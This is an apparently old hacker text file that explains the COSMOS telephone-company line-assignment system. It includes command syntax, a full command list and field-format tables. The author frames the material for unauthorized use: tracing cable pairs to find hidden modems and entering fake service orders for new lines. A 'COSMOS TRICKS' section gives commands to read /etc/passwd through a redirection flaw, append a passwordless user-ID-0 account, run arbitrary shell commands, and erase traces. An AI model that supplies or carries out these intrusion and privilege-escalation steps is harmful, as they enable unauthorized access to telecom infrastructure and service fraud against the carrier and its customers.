The most commonly used line is the H line. It is a required input in almost all COSMOS transactions. From the second line on, COSMOS will prompt with an underscore "\_" as the system prompt, to let the user know that it is waiting for input. When all needed data has been entered, the command is executed by typing a "." at the beginning of a new line. If you wish to process a command, but stay in command level in order to process further commands after the one you are currently entering has finished, a ";" can be entered at the beginning of a new line. To cancel the transaction you are entering, a "Q" should be entered at the beginning of a new line. To interrupt output, the break character is "^C". When entering criteria, you may enter all like data (all H-line, all I-line, etc...) on one line using a "/" between input prefixes:

EX: H TN 222-0000,222-9999/RMKT SWBT?/US 1FB

is the same as entering:

H TN 222-0000,222-9999

\_H RMKT SWBT?

\_H US 1FB

One of the most commonly used commands is INQ (Complete Circuit Inquiry). There is also a short form of INQ called ISH. This command requires only the use of H lines. Multiple H lines can be entered to narrow a search or to print multiple reports.



Valid H line facilities used are:

BL	Bridge Lifter
CON	Concentrator
CP	Cable Pair
CKID	Circuit ID
MR	Message Register
OE	Office Equipment Number
PL	Private Line Circuit Number
TK	Trunk Cable and Pair Number
TN	Telephone Number
TP	Tie Pair
XN	"X" Number
TRE	Transmission Equipment
TER	Terminal Number
GP	Group Number
ORD	Work Order

EX: To print information on telephone number 222-2222

WC% INQ

H TN 222-2222

—.  
EX: To print information on cable pair 11-1111

WC% INQ

H CP 11-1111

—.  
INQ will print a full report whatever circuit you examine, while ISH will print a shorter, easier to read report. Below is an actual ISH done on a Telenet node.

CA% ISH

H TN 225-8004

—.  
TN    225-8004  
     ST AU                      DATE 06-03-83    HT GP 0-0081    BTN 225-8004    TYPE X  
OE    006-012-200  
     ST WK                      DATE 03-04-86    CS 1FBH    US 1BH    FEA TNNL  
     LCC TF2  
     LOC WF12003  
TER    0-0081-0001  
     ST WK  
     RMKG GTE.TELENET  
CP    95-0701  
     ST WK                      DATE 01-24-86    RZ 13  
     LOC WF12009  
TP    6105-0910  
     ST WK                      DATE 01-24-86  
     LOC F12003  
     LOC F42001  
     FROM FAC OE    006-012-200    TO FAC TP    6206-0107  
TP    6206-0107  
     ST WK                      DATE 01-24-86  
     LOC F22029  
     LOC F42002

HUNT SEQUENCE FOR TN 225-8004

TER 0001-0040

\*\* ISH COMPLETED 02-29-99 12:00

CA%

When you pull an inquiry on a number that you are interested in, you will be given its cable pair, its order number, any numbers that connect to it through a hunt sequence, and you will see any remarks entered about the number. This information can prove to be very valuable. For instance: You suspect that a company has a modem online, yet you don't want to waste time sequentially dialing thousands of numbers. You can simply enter an ISH on the number to get its cable pair, then begin pulling ISH reports on cable pairs close to the main one. Then you need only dial twenty or so numbers that are in the same area as the main number, and you will find the computer.

Another extremely valuable command is SIR (Sorting Inquiry by Range). With SIR, you can print the circuit information on all lines that match specified criteria within a specified range of numbers. This command

requires only H line input, but numerous lines may be entered in order to narrow down the search. You may also use the wildcard character ("?",) to encompass a larger range when doing a SIR. There are many applications for SIR, but I will only show examples on a few I have found to be most useful.

Many times entries have special remarks entered about the circuit. These are usually entered as RMKT (Remarks on Telephone Number), but they may be entered as RMKO (Remarks on Office Equipment) or RMKP (Remarks on Cable Pair), depending upon what the person entering felt like typing.

Most of the time the remarks really don't correspond like they should. Telephone companies are pretty thorough about remarking on a line that they own and they will usually use the RMKT prefix.

EX: To find all telephone company (Southwestern Bell) lines in prefix 222  
WC% SIR  
H TN 222-0000,222-9999  
\_H RMKT SWBT?

—.  
The "?" after SWBT acts as a wildcard. Typing SWB? would perform the same search.

You may also want to search by STT (Telephone number status). Some types of STT are:

AU	Auxiliary
NP	Non-published
OF	Official (telco owned)
TS	Test

Another way to distinguish types of number is by CS (Customer Class of Service). CS values tend to vary from BOC to BOC, but business lines will usually look like "1FB", or at least contain a "B". Residences will usually look like "1FR." Sometimes telco lines are listed as "1OF", but may also be entered as "1FB". On lines in a hunt group, the CS will be appended with the letter "H", as "1FBH".

Let's say a company owns a block on an exchange (333) running from 1000 to 3500. You want to find all possible computer numbers in that area. Chances are good that they are not listed.

EX:  
WC% SIR  
H TN 333-1000,333-3500  
\_H STT NP  
\_H CS 1FB

—.  
The above would list all non-published business numbers from 333-1000 to 333-3500.

To find all numbers that are translated 800 numbers in the same prefix range as above, you can do the following:

EX:  
WC% SIR  
H TN 333-1000,333-3500  
\_H PL ?800?

—.  
This will print reports on all private lines registered as 800 numbers. There is also a shorter version of SIR, LTN (List Telephone Numbers), and a more detailed version, GFR (General Facility Report), but I have found SIR to be the better of the three to use for my purposes.

In order to change line attributes, or to create new lines you will need to use two commands SOE (Service Order Entry), and RCP (Recent Change Packager). These two commands are pretty detailed in what they can do, so I will just cover a few of their options.

SOE will allow you to assign a new circuit, and specify the desired telephone number, custom calling features, billing telephone number, etc.

SOE requires both "H" and "I" lines of input. The best way to enter a new service order is to have COSMOS pick your new telephone number and assign the needed office equipment number. If you want to pick your own telephone number, the number you pick must have a status (STO) of SP, LI, RS, or PD (with a disconnect date before the due date on your new service order). This is so that you do not try to assign a number that is currently working to your new service order. You can check this by doing an ISH on all the variations of numbers you desire, and checking the STO. You can also get a list of available numbers in a given prefix using the NAI command. You

should also do a SIR of recent entries, to try to find the proper format of order numbers, so that you do not reuse one, or make one up that is formatted incorrectly. Another method to make sure that you have the correct formatting of order numbers is to call the phone company and request the installation of a line in the area you are working in. They will tell you your service order number for reference. Later, you can merely cancel the order. You will also have to find a valid cable pair, so do an ISH on whatever number written in your junction box that is not working, and then make sure there is no pending connect orders entered on it.

To enter a service order for a new connection, having COSMOS pick an available telephone number and assign proper office equipment numbers, you would do the following:

EX:

WC% SOE

H ORD SO123456/OT NC/DD DD-MM-YY (Use valid Day, Month, Year for Due Date)

\_I TN ?/US 1FR/FEA TNNL/OE ?/CP XX-YYYY (Use valid cable pair for XX-YYYY)

—

You would now need to enter RCP and make a correctly formatted recent change report for the order you entered so RCMAC can pick up the order and directly enter it into the switch. What RCP does is take your order and change it into actual switch programming, using templates that are stored in directories corresponding to what type of switching equipment is used for that WC.

(EX: ess5a)

EX: To create a recent change package for the order entered above

WC% RCP

H ORD SO123455

—

Using SOE you can specify custom calling features, you can specify billing telephone numbers, you can establish service as coin, and several other options by adding "I" line information corresponding to that particular option.

\_I CCF XXXXXX (XXXXXX is valid custom calling features)

\_I BTN NNX-XXXX (NNX-XXXX is valid billing TN)

\_I TT C

To get a list of spare (available) telephone numbers in a given prefix, you can use the NAI (Telephone Number Assignment Inquiry) command. You only need enter H line criteria. In addition to searching by prefix (NNX), you can search by switch type (TYP), or rate zone (RTZ).

EX: To select one spare telephone number in 555 and make it reserved status

WC% NAI

H TT X/NNX 555/STT RS

—

You may also have NAI print out several available numbers, however, you cannot change the status unless you are printing one listing.

EX:

WC% NAI

H TT X/NNX 555/LC XX (Where XX is a number between 1 and 25)

—

To get a listing of all prefixes that exist in the Wire Center you are logged in under, you can use the command DDS (Display DS Table). This command will list the ranges that exist for a given input.

To list all telephone numbers in a given WC:

WC% DDS

H TN ?

—

To list all cable pair ranges:

WC% DDS

H CP ?

—

To change from one Wire Center to another, you use the command WCC (Wire Center Change). This is a very straight forward command.

EX:

WC% WCC NW

NW%

To allow for redirection in your COSMOS commands, you must execute the DIO command. This command is rather important for manipulating commands to work for you.

EX:

WC% DIO

To see what transactions other people logged in are running, you can use the command TSNAP (on certain generics)

EX:

WC% TSNAP

There are about one hundred other COSMOS commands that are all defined at the end of this file. I cannot go into detail on all of them but I will list them and their meanings.

=====

#### COSMOS TRICKS

Even if you don't have full COSNIX access, you can basically execute any command or read any file that exists in the system. Using the INQ (or ISH) command and redirection, you can open and display any file.

EX: To display the password file

WC% INQ </ETC/PASSWD

This will display the file, however, since this is a flaw in the command, it thinks the file is to be input for INQ, and each line will be preceded with "ILLEGAL LINE TYPE", but this can be ignored.

Other files to look at:

/USR/FACS/WCFILE       List of all Wire Centers

/ETC/MATRIX.P       Permission Matrix (Who can execute what commands)

You may or may not want to try the following. There is a high probability that you will be noticed on the system. If your local COSMOS ports are usually left logged in, don't bother doing this. However, if your COSMOS ports are always logged out, and you almost never get in, and you happen to stumble upon one left logged for the first time in months, it might be worth a try.

There are a few ways to make a new account on COSMOS; however, you need to be able to write to the password file. Some systems allow this, but most do not.

The easiest way involves using the echo command and redirection.

EX:

WC% echo "EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so" >>/etc/passwd

This will add user EB01 to the end of the password file.

If you do not have access to echo you can do the same thing using the TED command (Text Editor).

WC% TED >>/etc/passwd

S.O. NO.= SO123456

IS THIS A NEW S.O. (Y on NO) Y

ld

a

EB01::0::y:1:/tmp:/usr/cosmos:/usr/preop:/usr/so

^C

lp

w

q

After executing the above, you will need to clean up the /etc/passwd file to remove the Service Order information put in there by TED. You will also need to remove the service order you created from the /usr/so/WC directory.

If you cannot find a way to get shell access, you can still execute any COSNIX command you desire again using TED, MSK (Output a Transaction Mask), and ARG (Assemble and Run a Given Master File).

EX:

WC% TED

S.O. NO.= SO123456

IS THIS A NEW S.O. (Y or NO) Y

12

ld

a

\$\*

run!

^C

w

q

WC% MSK >/usr/so/newcmd

SO123456

WC% ARG

newcmd ls /etc

To execute the command, you need to do ARG, then the name of the file (which I called newcmd), then the COSNIX command you wish to execute.

If you can use echo this can be done much easier.

EX:

WC% echo '\$\*' >/usr/so/newcmd

WC% echo 'run!' >>/usr/so/newcmd

Then you can run your command normally with ARG.

WC% ARG

newcmd cd ..

IF you do not have access to echo, create a newcmd file and you can use it that way.

WC% ARG

newcmd echo EB01::0::y:1:/tmp:/usr/cosmos:/usr/so:/usr/preop >>/etc/passwd

=====

COSMOS COMMAND LISTING

ACE Establish an Assignment Change Ticket  
AIT ANALIT Initialization of Tables  
ARG Assemble and Run a Given Master File  
AUD Assignment List Audit  
BAI Bridge Lifter Assignment Inquiry  
BYF Display the Bypass File  
BYP Change the Contents of the Bypass File  
CAY Create an Assembly  
CCA Change Customer Attributes  
CCT Initialize and Update the Contractor-Transducer File  
CDA Change Distribution Attributes  
CDD Change Due Date  
CDR Cut Thru DIP Report  
CFA Change Facility Attributes  
CFP Print the Class of Service/Features for an Electromechanical Entity  
CFU Change Facility Usage  
CIE Company Establish Company Initiated Change  
CLI COSMOS Processed ALIT Reports  
CPI COSMOS-PREMIS Interface  
CPM COSMOS Performance Monitor  
CTC Complete a Cable Transfer or Complete a Cable Throw  
CTE Cable Throw Order Establishment  
CTF Display the Contacter-Transducer File  
CTL Cable Throw with Line Equipment Assignment  
CTM Cable Throw Modification  
CTP Print Cable Transfer Frame Work  
CTR Cable Throw Replacement  
CTS Cable Throw Summary  
CTW Withdraw a Cable Transfer or a Cable Throw  
CUP Common Update Processor  
CXC Complex Service Order Input Checker  
CXM Centrex Table Management  
CXT Complex Order Inquiry for NAC Review  
DAY Delete an Assembly  
DBL Data Base Load  
DCN List Disconnected and Changed Numbers  
DDS Display the DS Table  
DIR Standard DIP Report  
DPN DIP Purge Number  
DPR DIP Report and Removal  
DQR Design Quota System Report  
DQS Design Quota System  
DTE Print Current Date  
EDZ Facility Emergency Assignment List  
ELA Entity Load Analysis  
ESP Print Entire Summary Table  
FDY Set Fiscal Day for LAC  
FLR Frame Layout Report  
FOR Frame Order Report  
FOS Frame Operations Summary  
FTA Frame Transfer Analysis

FTC Frame Transfer Completion  
FTE Frame Transfer Establishment  
FTL Frame Transfer LETs  
FTR Frame Transfer Reprint  
FTW Frame Transfer Withdrawal  
FWM Frame Work Management  
GFR General Facility Report  
GLA Generate Lists for Assignment  
HBS Hunt Group Blocks of Spares  
HGR Hunt Group Report  
HGS Hunt Group Summary  
HIS Hunting ISH  
IJR Input a Jeopardy Reason  
IMU Input Measured CCS Usage Data  
INQ Complete Circuit Inquiry  
ISF Inquire on a Single Facility  
ISH Complete Circuit Inquiry Short  
JAM Jumper Activity Management  
JPH Jumper Placement History  
KPR Killer Pair Report  
KSM Create a Transaction Mask  
LAI Line Equipment Assignment Inquiry  
LBP Load Balance Parameters  
LCD LIST Cable Summary, LIT Demand Test  
LCP List Cable Pairs  
LEE NAC Related Line Equipment Transfer Order Establishment  
LEW Line Equipment Transfer Withdrawal  
LFC Load Factor Calculation  
LFR Line Failure Report  
LGN List Hunt Groups  
LIN Transmit ALIT Data to COSMOS  
LOE List Originating Line Equipment  
LSE Line and Station Transfer Order Establishment  
LSW Line and Station transfer Withdrawal  
LTN List Telephone Numbers  
MAL Manual Assignment List  
MAP Manual Assignment Parameters  
MAQ Manual Assignment File Inquiry  
MAY Modify an Assembly  
MCE Establish a Maintenance Change Ticket  
MCH Manually Change Hunt  
MCL Maintenance Change List  
MCR Establish a Maintenance Change Repair  
MCW Maintenance Change Ticket Withdrawal  
MDC Manually Disconnect a Working Circuit  
MEC Manually Establish a Circuit  
MMC Manually Modify a Circuit  
MOC MOE Order Completion  
MOE Mass OE Transfers  
MOF Mass OE Frame Transfer Listings  
MOW MOE Order Withdrawal  
MPK Modify Work Package  
MSK Output a Transaction Mask  
MTR Manually Test a Response  
NAI Telephone Number Assignment Inquiry  
NOL NAC Service Order Listing  
NSD Number Summary Display  
OIJ Orders in Jeopardy  
OPN Open-of-Day Report  
OPU Outside Plant Cable Usage  
PAK Work Packages  
PEP Position Establishment for Parties  
PFR Party Line Fill Report  
PRP Periodic Purging of Remarks  
QEX Question an Execution  
QUE Queue  
RAL Relay Assignment List  
RAP Relay Assignment Parameters

RAS Release Sequence Number Lists and Related TN/OE  
RBS Print TBS Relays Assignment Record  
RCP Recent Change Packager  
RCR Recent Change Report  
RCS Recent Change Summary  
RED Recent Change Message Text Editor  
REL Release Non-Intercepted Numbers by Release Date  
REM Remove Frame Locations  
RET Retermination of Frame Locations  
REX Reexecute a Service Order  
RJR Remove Jeopardy Reason Codes  
RMP Recent Change Punctuation Table  
RNA Release Telephone Numbers for Assignment  
ROE Reservation Order Establishment  
ROI Reservation Order Inquiry  
ROW Reservation Order Withdrawal  
RTH Report Transaction to Count Spare and DIPed Line Equipment  
RTS Relay and Telephone Number Status Report  
RUP Request Unsolicited Processing  
SAI Summary of Action Items  
SCA Service Order Completion-Automatic  
SCF Simple Completion for MDF  
SCI Spare Cable Pair Inquiry  
SCM Standard Completion by MDF  
SCP Service Order Completion by LAC  
SCR Standard Completion by RCMAC  
SEL Selecting Lines for an Exchange Class of Service Study  
SET Statistics on Equipment and Telephone Numbers  
SGH Supply Relays for Groups of 5XB Hunts  
SIR Sorting Inquiry by Range  
SLC Subscriber Line Counts for Custom Calling Features  
SOC Service Order Cancel  
SOE Service Order Establishment  
SOF Service Order Fix  
SOH Service Order Withheld  
SOI Service Order Assignment Inquiry  
SOL Service Order Listing  
SOM Modify a Pending Service Order  
SOW Service Order Withdrawal  
STN Summarize Telephone Numbers  
SVL Service Observing Loops  
TAI Tie Pair Assignment Inquiry  
TAT Test Alignment of Frame Terminal  
TED Text Editor  
TET Display or Change Band Filter File, Retention Factor and Print Threshold  
TFC Transfer Frame Changes  
TIG Dial Transfer Input Generator  
TLC Translate LANAVAR/CPS  
TNS Telephone Number Swap  
TOC Transfer Order Completion  
TOE Transfer Order Establishment  
TOF Mass OE Transfer Order Frame Listings  
TOI Dial Transfer Order Inquiry  
TOL Transfer Order Lists  
TOO Transfer Order Omissions  
TOW Transfer Order Withdrawal  
TPU Tie Pair Usage Report  
TRC Transfer Order Recent Change Report  
TRI Transmission Equipment Assignment Inquiry  
TRW Total Reservation Order Withdrawal  
TSL Line Equipment Summary Report  
TSN Traffic Statistics on Telephone Numbers  
TSW Total Service Order Withdrawal  
TTY Get TTY Name  
TXC Text Checker  
TXM Transfer Centrex Management  
UDP Update DIP Parameters  
UES Update the Entity Summary Table

UFO Unprinted Frame Orders  
UPC Update CCS vs. Class of Service Table  
USL List USOC (US) File Data  
UTC Update Table for Concentrator Redesign  
WCC Change Wire Center  
WCT Worksheet for Cable Throw Orders  
WFL Working Frame Location  
WOI Work Order Inquiry  
WOL Work Order Listing  
WPT Work Package Table  
WSL Work Status List  
WUL Work Unit Report for Subscriber Line Testing and Installation Assignment  
=====

## COSMOS ABBREVIATIONS AND FORMATS

The following will be given as follows:

Prefix and Meaning

Format

Code Value and Meaning

AC Assembly category  
AC XXXX  
PERM=Permanent Facility Assemblies  
TEMP=Temporary Facility Assemblies  
AC Assembly Code  
AC XXX  
XXX=1-999  
ADSR Administration of Designed Services Review  
ADSR X  
Y=Yes, TIRKS Circuit  
N=No, COSMOS Circuit  
AGM Normal Aging Months  
AGM XX  
XX=Number of Months  
AGT Accelerated Aging Type  
AGT XXX  
BUS=Business  
RES=Residential  
AI Assigner's Initials  
AI XXX  
XXX=3 Alphanumeric Characters  
AO Allocation Order  
AO XX  
XX=Two Numeric Characters  
AR Advance Relay  
AR XYY-ZZZ  
X=Marker Group  
YY=Number Group from Frame  
ZZZ=Relay Number  
ATN Assigner's Telephone Number  
ATN XXX-XXXX  
XXX-XXXX=Assigners TN  
BL Bridge Lifter  
BL XX...XX  
XX...XX=Maximum of 17 Alphanumeric Characters  
BLS Bridge Lifter Status  
BLS X  
Y=Yes  
N=No  
BND Band Number  
BND X  
X=0-3  
BTN Billing Telephone Number  
BTN XXX-XXXX  
XXX-XXXX=Billing Telephone Number  
CA Cable Number  
CA XX...XX  
XX...XX=Maximum of 10 Alphanumeric Characters  
CAT Centrex Access Treatment  
CAT XX



XX=Maximum of 2 Numeric Characters  
CC Call Count  
CC XX  
XX=Maximum of 2 Numeric Characters  
CCF Custom Calling Features  
CCF XXXXXX  
XXXXXX=3 to 6 Alphanumeric Characters  
CCS Hundred Call Seconds  
CCS XXXX  
XXXX=3 or 4 Numeric Characters  
CEU CCS Estimated Usage  
CEU XXXX  
XXXX=3 or 4 Numeric Characters  
CG Control Group Number  
CG X  
X=0-9  
CKID Circuit Identification  
CKID XX...XX  
XX..XX=Maximum of 61 Alphanumeric Characters  
CKL Circuit Location  
CKL XXXX  
XXXX=Maximum of 4 Alphanumeric Characters  
CLC Common Language Code for an Entity  
CLC XX...XX  
XX...XX=Maximum of 11 Alphanumeric Characters  
CLCI Common Language Circuit Identification  
CLCI XX...XX  
XX...XX=Maximum of 61 Alphanumeric Characters  
CLEI Common Language Equipment Identifier  
CLEI XX...XX  
XX...XX=Maximum of 10 Alphanumeric Characters  
CLF Creating DIPs Upper Bound Load Factor  
CLF XX  
XX=1-10  
CLL Creating DIPs Lower Bound Load Factor  
CLF X  
X=1-9  
CLS CLCI in Serial Number Format  
CLS XX...XX  
XX..XX=Maximum of 61 Alphanumeric Characters  
CLT CLCI Telephone Number Format  
CLT XX...XX  
XX...XX=Maximum of 61 Alphanumeric Characters  
CMF Capacity Main Station Fill  
CMF XXXXXX  
XXXXXX=Maximum of 6 Numeric Characters  
CMU CCS Measured Usage  
CMU XXXX  
XXXX=3 or 4 Numeric Characters  
COM Complement Size  
COM XXXX  
XXXX=1-9999  
CON Concentrator  
CON XX-YY  
XX=Maximum of 2 Alphanumeric Characters  
YY=Maximum of 2 Numeric Characters  
CP Cable and Pair Number  
CP XX...XX-YZZZ  
XX...XX=Cable ID, Maximum of 10 Alphanumeric Characters  
YZZZ=Cable Pair ID  
Y=Alphanumeric  
ZZZ=Numeric  
CPU CCS Capacity Usage  
CPU XXXX  
XXXX=3 or 4 Numeric Characters  
CRG CREG Tag  
CRG XXX  
XXX=YES or NO

CS Customer Class of Service  
CS XXXXXX  
XXXXXX=Maximum of 6 Alphanumeric Characters

CTID Circuit Termination Identification  
CTID XX...XX  
XX...XX=Maximum of 61 Alphanumeric Characters

CTT Cut Through Tag  
CTT XXX  
XXX=YES or NO

CTX Centrex Group Number  
CTX XXXX  
XXXX=Maximum of 4 numeric Characters

DC Dial Code  
DC X  
X=1 Alpha Characters

DD Due Date  
DD MM-DD-YY  
MM=Month  
DD=Day  
YY=Year

DID Direct Inward Dialing  
DID XXXX  
XXXX=Maximum of 4 Numeric Characters

DIP DIP Creation Option  
DIP X  
Y=Yes  
N=No

DNY Denial of Service for Non-payments  
DNY X  
I=Incoming  
O=Outgoing  
B=Both

DPA Different Premises Address  
DPA XXX  
XXX=Maximum of 3 Alphanumeric Characters

DPT Department Name  
DPT XXX  
XXX=Maximum of 3 Alphanumeric Characters

DST Destination of Order Response  
DST XXXX  
XXXX=Maximum of 4 Alphanumeric Characters

DT Due Time  
DT XX  
XX=AM, PM, or 0-9

EC ESS Entity and Control Group Number  
EC YZ  
Y=Entity Number  
Z=Control Group Identifier

ECS Equipment Class of Service  
ECS XXXXXX  
XXXXXX=Maximum of 6 Alphanumeric Characters

ED Enter Date  
ED MM-DD-YY  
MM=Month  
DD=Day  
YY=Year

EN Entity  
EN X  
X=S, E, 1, 5 or 0

EN Entity Number  
EN X  
X=0-9

ENT Entity Number  
ENT X  
X=0-9

EO Error Handling Option  
EO XX  
CE=Continue Processing and Establish Valid Circuits

CW=Continue Processing and Withdraw Established Circuits  
SE=Stop Processing and Establish Valid Circuits  
SW=Stop Processing and Withdraw Established Circuits

EQF Equipment Features  
EQF WXYZ  
W=R (Rotary) or T (Touchtone)  
Y=S (Sleeve) X (Range Extension) or N (Non-sleeve or Non-range Extension)  
X=E (Essential) or N (Non-essential)  
Z=G (Ground Start) or L (Loop Start)

EQV Frame Equivalence  
EQV FXX  
F=The Letter "F"  
XX=Two Alphanumeric Characters

ETC Estimated Trunk CCS Value  
ETC XXXX  
XXXX=Maximum of 4 Alphanumeric Characters

EXD ECS Crossloading Option  
EXD XXX  
XXX=YES or NO

FAC Type of Segment List Being Audited  
FAC XX  
TN=Telephone Number  
OE=Line Equipment

FAC Circuit Configuration  
FAC XXX or  
FAC TN-NNX or  
FAC CP-XX...X or  
FAC SE-YY...Y or  
FAC PL-ZZ...Z  
XXX=Any Facility Prefix  
NNX=Three Alphanumeric Characters  
XX...XX=Maximum of 10 Alphanumeric Characters  
YY...YY=Maximum of 52 Alphanumeric Characters  
ZZ...ZZ=Maximum of 61 Alphanumeric Characters

FC From Cable  
FC XX...XX  
XX...XX=Maximum of 10 Alphanumeric Characters

FDD Frame Due Date  
FDD MM-DD-YY  
MM=Month  
DD=Day  
YY=Year

FEA Customer Feature  
FEA XXXX  
(Same as EQF)

FILT Filter  
FILT XXX  
XXX=Y, YES, N, or NO

FR Frame Identification  
FR FXX  
F=The letter "F"  
XX=Two Alphanumeric Characters

FT Frame Time  
FT XX  
XX=01-24

FW MDF Output Suppressed  
FW X  
Y=Frame Work Yes  
N=Frame Work No

GP MLHG Group Number  
GP Y-XXXX  
Y=Alphanumeric Control Group  
XXXX=Numeric Group Number

GSO Ground Start Option  
GSO X  
1=Assigned to any OE in the Entity  
2=Assigned to Even Levels  
3=Only Assigned to OE Specified as Ground Start

HC Hunt Count  
HC XXXX  
XXXX=Maximum of 4 Numeric Characters

HF Hunt-from Telephone Number  
HF XXX-XXXX  
XXX-XXXX=Telephone Number

HLC Highest Lead Factor Group Count  
HLC XXXX  
XXXX=1-9999

HR Held Order Reason Code  
HR XX  
CE=Equipment Shortage  
CF=Lack of Facility  
CL=Plant Load  
CO=General Company Reasons  
C1-C5=Additional Company Reasons  
SA=Subscriber Access  
SL=Subscriber Requested Later Date  
SO=General Subscriber Reasons  
SR=Subscriber Not Ready  
S1-S5=Additional General Subscriber Reasons

HRS Hours Prefix  
HRS XX  
XX=01-24

HT Hunt-to Telephone Number  
HT XXX-XXXX  
XXX-XXXX=Telephone Number

HTG Hunt-to Group Number  
HTG Y-XXXX  
Y=Alphanumeric Control Group  
XXXX=Numeric Group Number

HTX Hunt-to X Number  
HTX XXX-YYXX of  
HTX XXX-YXX  
Y=Alphanumeric  
X=Numeric

INIT Allocation Table Initialization  
INIT  
(No Data Entry)

ITM Cable Pair Item Number  
ITM XX  
XX=Two Numeric Characters

JL Jumper Length  
JL XXX  
XXX=Maximum of 3 Numeric Characters

JR Jeopardy Reason  
JR XX  
A1=Assignment Error on CP  
A2=Assignment Error on OE  
A3=Assignment Error on TN  
A4-A9=Other Assignment Error  
C1=No SSWO for Circuit Design Group  
C2-C9=Local Code for Circuit Design Group  
E1-E9=No ESS Translations  
IB=No Installation Go-ahead for Business  
IC=No Installation Go-ahead for Coin  
ID=No Installation Go-ahead for Data  
IR=No Installation Go-ahead for Residence  
IS=No Installation Go-ahead for Special  
I1-I4=Local Codes for No Installation Go-ahead  
RB=Business RSB  
RC=Coin RSB  
RD=Data RSB  
RR=Residence RSB  
RS=Special RSB  
R1-R4=Local Use for RSB

LC Output Line Count  
LC XXXX

XXXX=0-9999  
LC Line Count  
LC XXX  
XXX=0-999  
LC Pending Service Order Count  
LC  
(No Data Entry)  
LCC Line Class Code  
LCC XXX  
XXX Maximum of 3 Alphanumeric Characters  
LD Loading Division  
LD XX  
XX=Two Numeric Characters  
LDN Listed Directory Number  
LDN XXX-XXXX  
XXX-XXXX=Telephone Number  
LF Load Factor  
LF XX  
XX=1-10  
LIM Less Than the Specified Number of Pairs  
LIM XX  
XX=0-50  
LIM High Limit on Number of Specified Status Pairs in a Complement  
LIM XX  
XX=0-50  
LIM Low Limit on Number of Spare Line Equipment in Vertical Files  
LIM XX  
LIM=1-10  
LLC Low Load Group Count  
LLC XXXX  
XXXX=0-9999  
LOC Location  
LOC FXXYYY  
F=The Letter "F"  
XX=Alphanumeric  
YYY=001-999  
LP Loop Range  
LP XXX;XXX  
XXX;XXX=Six Numeric Characters  
LS List New Pending Cable Transfers  
LS XXX  
XXX=NEW  
LTI Loop Termination Identifier  
LTI XXX  
XXX=Three Alphanumeric Characters  
MASK Office Equipment Mask  
MASK OE ID  
ID=XXX-XXX-XXX =1ESS  
ID=XXX-XXXX =2ESS  
ID=XXX-XXXX =3ESS  
ID=XXXX-XXX-XX =5ESS  
ID=XXXX-XX-XX =5ESS  
ID=XXXX-X-XXXX =RSS  
ID=XXXX-XXX-XX =1XB  
ID=XXXX-XXXX-XX =1XB  
ID=XXX-XX-XX =5XB  
ID=XXXX-XXX =SXS  
ID=XXX-X-XX-X =DMS-10  
ID=XXX-X-XX-XX =DMS-100  
X=Alphanumeric  
MAT Manual Assistance Tag  
MAT XXX  
XXX=YES or NO  
MAX Maximum Percentage Value of Entity Fill or Maximum CCS Value  
MAX XXX  
XXX=Maximum of 3 Numeric Characters  
MBL Mini-bridge Lifter Tag  
MBL XX

Y=MBL Working on CP  
N=CP Can't Support MBL  
EQ=CP has MBL Capabilities  
MC Marker Class of Service  
MC XX  
XX=Two Alphanumeric Characters  
MF Recent Change Message Format  
MF XXXX  
NEW=RX:LINE:messages  
OUT=RC:LINE:OUT:messages  
CHG=RC:LINE:CHG:messages  
SUSP=RC:LINE:CHG:messages of suspended service  
MF Jumper Listing for MDF  
MF XXX  
NEW=Running Jumper Listing  
DJ=Dead Jumper Listing  
MF Message Format When Completing Transfer Circuits with TOC  
MF XXX  
ALL=Message is Printed for Every Circuit in Range  
ERR=Message Printed Only for Circuits not Completed  
MF Message Format for Dial Transfer Number Lists  
MF XXX  
GVR=Transaction GFR Output Format, One Facility per Line  
LVT=Line Verification Test Format  
TLC=Two-line Condensed Format  
MG Marker Group Number  
MG X  
X=0-9  
MIN Minimum Percentage Value of Entity Fill or Minimum CCS Value  
MIN XXX  
XXX=Maximum of 3 Numeric Characters  
MLP Multi-loop Resistance Zone Threshold  
MLP XX  
XX=Two Numeric Characters  
MOD Module Number  
MOD XXX  
XXX=Three Numeric Characters  
MODE Integrated SLC No. 5ESS Mode  
MODE X  
1=5 T1 Carrier Channels  
2=3 T1 Carrier Channels  
MPN Master Work Package Number  
MPN XXXX  
XXXX=1-9999  
MR Message Register  
MR XXXXXX  
XXXXXX=Maximum of 6 Alphanumeric Characters  
MRO Message Register Option  
MRO XXX  
XXX=YES or NO  
MT Master Record Tape Unit Number or Tape Drive to Write  
MT X  
X=Numeric  
MTR Tape Drive to Read  
MTR X  
X=Numeric  
MTW Tape Drive to Write  
MTW X  
X=Numeric  
NAR NAC Assignment Review  
NAR XXX  
XXX=Maximum of 3 Numeric Characters  
NGF Number Group Frame for 5XB  
NGF XXX  
XXX=Three Numeric Characters  
NNX Telephone Exchange Code  
NNX XXX  
XXX=Three Numeric Characters

NOE Number of OEs to be Assigned  
NOE X  
X=0 or 1

NPA Area Code and Exchange Number  
NPA XXXXXX  
XXXXXX=Six Alphanumeric Characters

NRM Normalizing CCS Value  
NRM XX  
XX=0-99

NTN Number of TNs to be Assigned  
NTN X  
X=0 or 1

OA Line Equipment Assignment Option  
OA X  
Y=Yes  
N=No

OC Order Category  
OC XXX  
ACT=Assignment Change Ticket  
ALL=All OE Load Factors  
CPC=Special Service  
FM=Count Since OE Input Features Occurrences  
FO=Count All OE Input Feature Occurrences  
HOT=Frame Output-urgent  
JR=Jeopardy Reason

OCS Old Class of Service  
OCS XXXXXX  
XXXXXX=Maximum of 6 Alphanumeric Characters

OD Output Device  
OD XXXX  
TT=Send Output to Current Terminal  
TTXX=Send Output to Specified Terminal XX  
MTX=Send Output to Magnetic Tape X

OE Office Equipment Number  
OE ID  
(See MASK)

OGO Outgoing Only Trunk  
OGO XXX  
XXX=Maximum of 4 Numeric Characters

OPT Party Assignment Option  
OPT X  
1=Assign Multi-party Customers to Spare Party Equipment  
2=Assign Multi-party Customer to Partially Equipped Party Equipment  
3=Assign Only One Multi-Party Customer to each Single Party Equipment

ORD Service or Work Order  
ORD XX...XX  
XX...XX=Maximum of 20 Alphanumeric Characters

OT Service or Work Order Type  
OT XXX  
BT=Background Transfer  
CD=Complete Disconnect  
CH=Changed  
CIO=Company Initiated Orders  
F="FROM"  
LET=Line Equipment Transfers  
LST=Line and Station Transfers  
MCE=Maintenance Change by LAC  
MCR=Maintenance Change by Repair  
MCT=All Maintenance Changes  
NC=New Connect  
R=Remarks  
REA=Pending Reassociation  
SW=Swap  
T="TO"

PBX Private Branch Exchange  
PBX XXXX  
XXXX=Maximum of 4 Numeric Characters

